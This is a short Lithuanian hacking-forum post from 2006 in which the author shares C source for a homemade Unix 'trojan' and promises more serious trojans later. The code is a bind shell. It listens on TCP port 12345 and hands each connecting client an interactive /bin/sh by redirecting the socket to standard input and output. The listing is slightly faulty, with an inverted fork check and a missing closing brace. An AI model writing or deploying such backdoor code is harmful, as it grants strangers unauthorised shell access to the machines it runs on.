Taigi po trijų valandų terliojimosi su nano ir gcc pasaulį išvydo dar vienas trojanas skirtas nix sistemai, bet galima paleist ir ant windows :)Ką ??? PRADEDAM:
1. Surenkam reikalingus lib'us
Kodas: Pasirinkti visus
#include <stdio.h>
#include <errno.h>
#include <signal.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <strings.h>
Kodas: Pasirinkti visus
#define P 12345
#define SH "/bin/sh"
#define LISTN 5
Kodas: Pasirinkti visus
int main(int argc, char **argv)
Kodas: Pasirinkti visus
char *fst = "\nConnected!\n\n";
char *sec = "This tool demonstrated how works trojans\n";
char *thr = "Please enter each command followed by ';'\n";
Kodas: Pasirinkti visus
int outsock, insock, sz;
struct sockaddr_in home;
struct sockaddr_in away;
Kodas: Pasirinkti visus
home.sin_family=AF_INET;
home.sin_port=htons(P);
home.sin_addr.s_addr=INADDR_ANY;
bzero(&(home.sin_zero),8);
signal(SIGCHLD,SIG_IGN);
if((outsock=socket(AF_INET,SOCK_STREAM,0))<0)
exit(printf("Socket error\n"));
if((bind(outsock,(struct sockaddr *)&home,sizeof(home))<0))
exit(printf("Bind error\n"));
if((listen(outsock,LISTN))<0)
exit(printf("Listen error\n"));
sz=sizeof(struct sockaddr_in);
for(;;)
{
if((insock=accept(outsock,(struct sockaddr *)&away, &sz))<0)
exit(printf("Accept error"));
if(fork() !=0)
{
send(insock,fst,strlen(fst),0);
send(insock,sec,strlen(sec),0);
send(insock,thr,strlen(thr),0);
dup2(insock,0);
dup2(insock,1);
dup2(insock,2);
execl(SH,SH,(char *)0);
close(insock);
exit(0);
}
close(insock);
Siuo metu as apsistojes ties rimtu trojanu rasymu, kai bus kas nors parasyta pateiksiu, laukit ir sekmes.
Kas sake kad lietuviai trojanu neraso ?
shellc0de 2006